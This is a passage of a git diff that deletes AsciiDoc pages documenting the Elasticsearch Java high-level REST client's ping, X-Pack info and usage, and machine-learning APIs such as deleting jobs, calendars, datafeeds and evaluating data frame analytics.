-The returned `MainResponse` provides various kinds of information about the cluster:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[main-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/miscellaneous/ping.asciidoc b/docs/java-rest/high-level/miscellaneous/ping.asciidoc
deleted file mode 100644
index 6cff46a62c5..00000000000
--- a/docs/java-rest/high-level/miscellaneous/ping.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[java-rest-high-ping]]
-=== Ping API
-
-[[java-rest-high-ping-request]]
-==== Execution
-
-The `ping()` method checks if the cluster is up and available to
-process requests and returns a boolean:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[ping-execute]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/miscellaneous/x-pack-info.asciidoc b/docs/java-rest/high-level/miscellaneous/x-pack-info.asciidoc
deleted file mode 100644
index b432b10d3b8..00000000000
--- a/docs/java-rest/high-level/miscellaneous/x-pack-info.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[[java-rest-high-x-pack-info]]
-=== X-Pack Info API
-
-[[java-rest-high-x-pack-info-execution]]
-==== Execution
-
-General information about the installed {xpack} features can be retrieved
-using the `xPackInfo()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-info-execute]
---------------------------------------------------
-<1> Enable verbose mode. The default is `false` but `true` will return
-more information.
-<2> Set the categories of information to retrieve. The default is to
-return no information which is useful for checking if {xpack} is installed
-but not much else.
-
-[[java-rest-high-x-pack-info-response]]
-==== Response
-
-The returned `XPackInfoResponse` can contain `BuildInfo`, `LicenseInfo`,
-and `FeatureSetsInfo` depending on the categories requested.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-info-response]
---------------------------------------------------
-<1> `BuildInfo` contains the commit hash from which Elasticsearch was
-built and the timestamp that the x-pack module was created.
-<2> `LicenseInfo` contains the type of license that the cluster is using
-and its expiration date.
-<3> Basic licenses do not expire and will return this constant.
-<4> `FeatureSetsInfo` contains a `Map` from the name of a feature to
-information about a feature like whether or not it is available under
-the current license.
-
-[[java-rest-high-x-pack-info-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-info-execute-async]
---------------------------------------------------
-<1> The `XPackInfoRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `XPackInfoResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-info-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/miscellaneous/x-pack-usage.asciidoc b/docs/java-rest/high-level/miscellaneous/x-pack-usage.asciidoc
deleted file mode 100644
index c1e5ccf13e2..00000000000
--- a/docs/java-rest/high-level/miscellaneous/x-pack-usage.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[[java-rest-high-x-pack-usage]]
-=== X-Pack Usage API
-
-[[java-rest-high-x-pack-usage-execution]]
-==== Execution
-
-Detailed information about the usage of features from {xpack} can be
-retrieved using the `usage()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-usage-execute]
---------------------------------------------------
-
-[[java-rest-high-x-pack-usage-response]]
-==== Response
-
-The returned `XPackUsageResponse` contains a `Map` keyed by feature name.
-Every feature map has an `available` key, indicating whether that
-feature is available given the current license, and an `enabled` key,
-indicating whether that feature is currently enabled. Other keys
-are specific to each feature.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-usage-response]
---------------------------------------------------
-
-[[java-rest-high-x-pack-usage-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-usage-execute-async]
---------------------------------------------------
-<1> The call to execute the usage api and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `XPackUsageResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[x-pack-usage-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/ml/close-job.asciidoc b/docs/java-rest/high-level/ml/close-job.asciidoc
deleted file mode 100644
index 83798b591c2..00000000000
--- a/docs/java-rest/high-level/ml/close-job.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: close-job
-:request: CloseJobRequest
-:response: CloseJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Close {anomaly-jobs} API
-
-Closes {anomaly-jobs} in the cluster. It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Close {anomaly-jobs} request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing job IDs
-<2> Optionally used to close a failed job, or to forcefully close a job
-which has not responded to its initial close request.
-<3> Optionally set to ignore if a wildcard expression matches no jobs.
- (This includes `_all` string or when no jobs have been specified)
-<4> Optionally setting the `timeout` value for how long the
-execution should wait for the job to be closed.
-
-[id="{upid}-{api}-response"]
-==== Close {anomaly-jobs} response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isClosed()` from the +{response}+ indicates if the job was successfully
-closed or not.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-calendar-event.asciidoc b/docs/java-rest/high-level/ml/delete-calendar-event.asciidoc
deleted file mode 100644
index e5879726457..00000000000
--- a/docs/java-rest/high-level/ml/delete-calendar-event.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: delete-calendar-event
-:request: DeleteCalendarEventRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete calendar events API
-
-Removes a scheduled event from an existing {ml} calendar.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete calendar events request
-
-A +{request}+ is constructed referencing a non-null
-calendar ID, and eventId which to remove from the calendar
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the calendar from which to remove the jobs
-<2> The eventId to remove from the calendar
-
-[id="{upid}-{api}-response"]
-====  Delete calendar events response
-
-The returned +{response}+ acknowledges the success of the request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Acknowledgement of the request and its success
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-calendar-job.asciidoc b/docs/java-rest/high-level/ml/delete-calendar-job.asciidoc
deleted file mode 100644
index cbfd2f40a8b..00000000000
--- a/docs/java-rest/high-level/ml/delete-calendar-job.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: delete-calendar-job
-:request: DeleteCalendarJobRequest
-:response: PutCalendarResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete {anomaly-jobs} from calendar API
-
-Removes {anomaly-jobs} from an existing {ml} calendar.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete {anomaly-jobs} from calendar request
-
-A +{request}+ is constructed referencing a non-null
-calendar ID, and JobIDs which to remove from the calendar
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the calendar from which to remove the jobs
-<2> The JobIds to remove from the calendar
-
-[id="{upid}-{api}-response"]
-====  Delete {anomaly-jobs} from calendar response
-
-The returned +{response}+ contains the updated Calendar:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The updated calendar with the jobs removed
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-calendar.asciidoc b/docs/java-rest/high-level/ml/delete-calendar.asciidoc
deleted file mode 100644
index 1c35164ad57..00000000000
--- a/docs/java-rest/high-level/ml/delete-calendar.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: delete-calendar
-:request: DeleteCalendarRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete calendars API
-
-Deletes a {ml} calendar.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete calendars request
-
-A `DeleteCalendar` object requires a non-null `calendarId`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing an existing calendar
-
-[id="{upid}-{api}-response"]
-==== Delete calendars response
-
-The returned +{response}+ object indicates the acknowledgement of the request:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> `isAcknowledged` was the deletion request acknowledged or not
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc
deleted file mode 100644
index 4967d137894..00000000000
--- a/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
---
-:api: delete-data-frame-analytics
-:request: DeleteDataFrameAnalyticsRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete {dfanalytics-jobs} API
-
-experimental::[]
-
-Delete an existing {dfanalytics-job}.
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Delete {dfanalytics-jobs} request
-
-A +{request}+ object requires a {dfanalytics-job} ID.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing an existing {dfanalytics-job}.
-
-==== Optional arguments
-
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
----------------------------------------------------
-<1> Use to forcefully delete a job that is not stopped. This method is quicker than stopping
-and deleting the job. Defaults to `false`.
-<2> Use to set the time to wait until the job is deleted. Defaults to 1 minute.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ object acknowledges the {dfanalytics-job} deletion.
diff --git a/docs/java-rest/high-level/ml/delete-datafeed.asciidoc b/docs/java-rest/high-level/ml/delete-datafeed.asciidoc
deleted file mode 100644
index d2b81d1e8b7..00000000000
--- a/docs/java-rest/high-level/ml/delete-datafeed.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
---
-:api: delete-datafeed 
-:request: DeleteDatafeedRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-delete-datafeed"]
-=== Delete datafeeds API
-
-Deletes an existing datafeed.
-
-[id="{upid}-{api}-request"]
-==== Delete datafeeds request
-
-A +{request}+ object requires a non-null `datafeedId` and can optionally set `force`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Use to forcefully delete a started datafeed. This method is quicker than
-stopping and deleting the datafeed. Defaults to `false`.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete datafeeds response
-
-The returned +{response}+ object indicates the acknowledgement of the request:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> `isAcknowledged` was the deletion request acknowledged or not.
diff --git a/docs/java-rest/high-level/ml/delete-expired-data.asciidoc b/docs/java-rest/high-level/ml/delete-expired-data.asciidoc
deleted file mode 100644
index b86cc3723e2..00000000000
--- a/docs/java-rest/high-level/ml/delete-expired-data.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-
---
-:api: delete-expired-data
-:request: DeleteExpiredRequest
-:response: DeleteExpiredResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete expired data API
-
-Deletes expired {ml} data.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete expired data request
-
-A `DeleteExpiredDataRequest` object does not require any arguments.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request.
-<2> Optionally set a job ID. Use `null` for the default wild card all `*`.
-<3> Providing requests per second throttling for the
-    deletion processes. Default is no throttling.
-<4> Setting how long the deletion processes will be allowed
-    to run before they are canceled. Default value is `8h` (8 hours).
-
-[id="{upid}-{api}-response"]
-==== Delete expired data response
-
-The returned +{response}+ object indicates the acknowledgement of the request:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> `getDeleted` acknowledges the deletion request.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-filter.asciidoc b/docs/java-rest/high-level/ml/delete-filter.asciidoc
deleted file mode 100644
index 29659f8a51e..00000000000
--- a/docs/java-rest/high-level/ml/delete-filter.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: delete-filter
-:request: DeleteFilterRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete filters API
-
-Deletes a {ml} filter.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete filters request
-
-A +{request}+ object requires a non-null `filterId`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing an existing filter
-
-[id="{upid}-{api}-response"]
-==== Delete filters response
-
-The returned +{response}+ object indicates the acknowledgement of the request:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> `isAcknowledged` was the deletion request acknowledged or not
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-forecast.asciidoc b/docs/java-rest/high-level/ml/delete-forecast.asciidoc
deleted file mode 100644
index 49996752024..00000000000
--- a/docs/java-rest/high-level/ml/delete-forecast.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
---
-:api: delete-forecast 
-:request: DeleteForecastRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete forecasts API
-
-Deletes forecasts from an {anomaly-job}.
-It accepts a +{request}+ object and responds
-with an +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Delete forecasts request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-All other fields are optional for the request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Sets the specific forecastIds to delete, can be set to `_all` to indicate ALL forecasts for the given
-`jobId` 
-<2> Set the timeout for the request to respond, default is 30 seconds 
-<3> Set the `allow_no_forecasts` option. When `true` no error will be returned if an `_all`
-request finds no forecasts. It defaults to `true`
-
-[id="{upid}-{api}-response"]
-==== Delete forecasts response
-
-An +{response}+ contains an acknowledgement of the forecast(s) deletion
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isAcknowledged()` indicates if the forecast was successfully deleted or not.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-job.asciidoc b/docs/java-rest/high-level/ml/delete-job.asciidoc
deleted file mode 100644
index ad4c147c491..00000000000
--- a/docs/java-rest/high-level/ml/delete-job.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
---
-:api: delete-job 
-:request: DeleteJobRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete {anomaly-jobs} API
-
-Deletes an {anomaly-job} that exists in the cluster.
-
-[id="{upid}-{api}-request"]
-==== Delete {anomaly-jobs} request
-
-A +{request}+ object requires a non-null `jobId` and can optionally set `force`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`
-
-==== Optional arguments
-
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-force]
----------------------------------------------------
-<1> Use to forcefully delete an opened job. This method is quicker than closing
-and deleting the job. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-for-completion]
----------------------------------------------------
-<1> Use to set whether the request should wait until the operation has completed
-before returning. Defaults to `true`.
-
-
-[id="{upid}-{api}-response"]
-==== Delete {anomaly-jobs} response
-
-The returned +{response}+ object indicates the acknowledgement of the job
-deletion or the deletion task depending on whether the request was set to wait
-for completion:
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> Whether job deletion was acknowledged or not. It will be `null` when set
-to not wait for completion.
-<2> The ID of the job deletion task. It will be `null` when set to wait for
-completion.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/delete-model-snapshot.asciidoc b/docs/java-rest/high-level/ml/delete-model-snapshot.asciidoc
deleted file mode 100644
index a1ad2884bdf..00000000000
--- a/docs/java-rest/high-level/ml/delete-model-snapshot.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
---
-:api: delete-model-snapshot
-:request: DeleteModelSnapshotRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete model snapshots API
-
-Deletes an existing model snapshot.
-
-[id="{upid}-{api}-request"]
-==== Delete model snapshots request
-
-A +{request}+ object requires both a non-null `jobId` and a non-null `snapshotId`.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new request referencing existing `jobId` and `snapshotId`.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete model snapshots response
-
-The returned +{response}+ object indicates the acknowledgement of the request:
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
----------------------------------------------------
-<1> `isAcknowledged` was the deletion request acknowledged or not
diff --git a/docs/java-rest/high-level/ml/delete-trained-models.asciidoc b/docs/java-rest/high-level/ml/delete-trained-models.asciidoc
deleted file mode 100644
index f906e71f1b6..00000000000
--- a/docs/java-rest/high-level/ml/delete-trained-models.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: delete-trained-models
-:request: DeleteTrainedModelRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete trained models API
-
-experimental::[]
-
-Deletes a previously saved trained model.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Delete trained models request
-
-A +{request}+ requires a valid trained model ID.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new DELETE request referencing an existing trained model
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ object acknowledges the trained model deletion.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/estimate-model-memory.asciidoc b/docs/java-rest/high-level/ml/estimate-model-memory.asciidoc
deleted file mode 100644
index 8e8b5f1befa..00000000000
--- a/docs/java-rest/high-level/ml/estimate-model-memory.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
---
-:api: estimate-model-memory
-:request: EstimateModelMemoryRequest
-:response: EstimateModelMemoryResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Estimate {anomaly-job} model memory API
-
-Estimate the model memory an analysis config is likely to need for
-the given cardinality of the fields it references.
-
-[id="{upid}-{api}-request"]
-==== Estimate {anomaly-job} model memory request
-
-A +{request}+ can be set up as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Pass an `AnalysisConfig` to the constructor.
-<2> For any `by_field_name`, `over_field_name` or
-    `partition_field_name` fields referenced by the
-    detectors, supply overall cardinality estimates
-    in a `Map`.
-<3> For any `influencers`, supply a `Map` containing
-    estimates of the highest cardinality expected in
-    any single bucket.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Estimate {anomaly-job} model memory response
-
-The returned +{response}+ contains the model memory estimate:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The model memory estimate.
diff --git a/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc b/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc
deleted file mode 100644
index 70485d30cf2..00000000000
--- a/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
---
-:api: evaluate-data-frame
-:request: EvaluateDataFrameRequest
-:response: EvaluateDataFrameResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Evaluate {dfanalytics} API
-
-experimental::[]
-
-Evaluates the {dfanalytics} for an annotated index.
-The API accepts an +{request}+ object and returns an +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Evaluate {dfanalytics} request
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new evaluation request
-<2> Reference to an existing index
-<3> The query with which to select data from indices
-<4> Evaluation to be performed
-
-==== Evaluation
-
-Evaluation to be performed.
-Currently, supported evaluations include: +OutlierDetection+, +Classification+, +Regression+.
-
-===== Outlier detection
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-evaluation-outlierdetection]
---------------------------------------------------
-<1> Constructing a new evaluation
-<2> Name of the field in the index. Its value denotes the actual (i.e. ground truth) label for an example. Must be either true or false.
-<3> Name of the field in the index. Its value denotes the probability (as per some ML algorithm) of the example being classified as positive.
-<4> The remaining parameters are the metrics to be calculated based on the two fields described above
-<5> {wikipedia}/Precision_and_recall#Precision[Precision] calculated at thresholds: 0.4, 0.5 and 0.6
-<6> {wikipedia}/Precision_and_recall#Recall[Recall] calculated at thresholds: 0.5 and 0.7
-<7> {wikipedia}/Confusion_matrix[Confusion matrix] calculated at threshold 0.5
-<8> {wikipedia}/Receiver_operating_characteristic#Area_under_the_curve[AuC ROC] calculated and the curve points returned
-
-===== Classification
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-evaluation-classification]
---------------------------------------------------
-<1> Constructing a new evaluation
-<2> Name of the field in the index. Its value denotes the actual (i.e. ground truth) class the example belongs to.
-<3> Name of the field in the index. Its value denotes the predicted (as per some ML algorithm) class of the example.
-<4> Name of the field in the index. Its value denotes the array of top classes. Must be nested.
-<5> The remaining parameters are the metrics to be calculated based on the two fields described above
-<6> Accuracy
-<7> Precision
-<8> Recall
-<9> Multiclass confusion matrix of size 3
-<10> {wikipedia}/Receiver_operating_characteristic#Area_under_the_curve[AuC ROC] calculated for class "cat" treated as positive and the rest as negative
-
-===== Regression
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-evaluation-regression]
---------------------------------------------------
-<1> Constructing a new evaluation
-<2> Name of the field in the index. Its value denotes the actual (i.e. ground truth) value for an example.
-<3> Name of the field in the index. Its value denotes the predicted (as per some ML algorithm) value for the example.
-<4> The remaining parameters are the metrics to be calculated based on the two fields described above
-<5> {wikipedia}/Mean_squared_error[Mean squared error]
-<6> Mean squared logarithmic error
-<7> {wikipedia}/Huber_loss#Pseudo-Huber_loss_function[Pseudo Huber loss]
-<8> {wikipedia}/Coefficient_of_determination[R squared]
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested evaluation metrics.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Fetching all the calculated metrics results
-
-==== Results
-
-===== Outlier detection
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-results-outlierdetection]
---------------------------------------------------
-
-<1> Fetching precision metric by name
-<2> Fetching precision at a given (0.4) threshold
-<3> Fetching confusion matrix metric by name
-<4> Fetching confusion matrix at a given (0.5) threshold
-
-===== Classification
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-results-classification]
---------------------------------------------------
-
-<1> Fetching accuracy metric by name
-<2> Fetching the actual accuracy value
-<3> Fetching precision metric by name
-<4> Fetching the actual precision value
-<5> Fetching recall metric by name
-<6> Fetching the actual recall value
-<7> Fetching multiclass confusion matrix metric by name
-<8> Fetching the contents of the confusion matrix
-<9> Fetching the number of classes that were not included in the matrix
-<10> Fetching AucRoc metric by name
-<11> Fetching the actual AucRoc score
-
-===== Regression
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-results-regression]
---------------------------------------------------
-
-<1> Fetching mean squared error metric by name
-<2> Fetching the actual mean squared error value
-<3> Fetching mean squared logarithmic error metric by name
-<4> Fetching the actual mean squared logarithmic error value
-<5> Fetching pseudo Huber loss metric by name
-<6> Fetching the actual pseudo Huber loss value
-<7> Fetching R squared metric by name
-<8> Fetching the actual R squared value
diff --git a/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc
deleted file mode 100644
index 7d9ac1620ec..00000000000
--- a/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
---
-:api: explain-data-frame-analytics
-:request: ExplainDataFrameAnalyticsRequest
-:response: ExplainDataFrameAnalyticsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Explain {dfanalytics} API
-
-experimental::[]
-
-Explains the following about a {dataframe-analytics-config}:
-
-* field selection: which fields are included or not in the analysis
-* memory estimation: how much memory is estimated to be required. The estimate can be used when deciding the appropriate value for `model_memory_limit` setting later on.
-
-The API accepts an +{request}+ object and returns an +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Explain {dfanalytics} request
-
-The request can be constructed with the id of an existing {dfanalytics-job}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-id-request]
---------------------------------------------------
-<1> Constructing a new request with the id of an existing {dfanalytics-job}
-
-It can also be constructed with a {dataframe-analytics-config} to explain it before creating it.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-request]
---------------------------------------------------
-<1> Constructing a new request containing a {dataframe-analytics-config}
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the field selection and the memory usage estimation.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A list where each item explains whether a field was selected for analysis or not
-<2> The memory estimation for the {dfanalytics-job}
diff --git a/docs/java-rest/high-level/ml/find-file-structure.asciidoc b/docs/java-rest/high-level/ml/find-file-structure.asciidoc
deleted file mode 100644
index 8d73791ad19..00000000000
--- a/docs/java-rest/high-level/ml/find-file-structure.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
---
-:api: find-file-structure
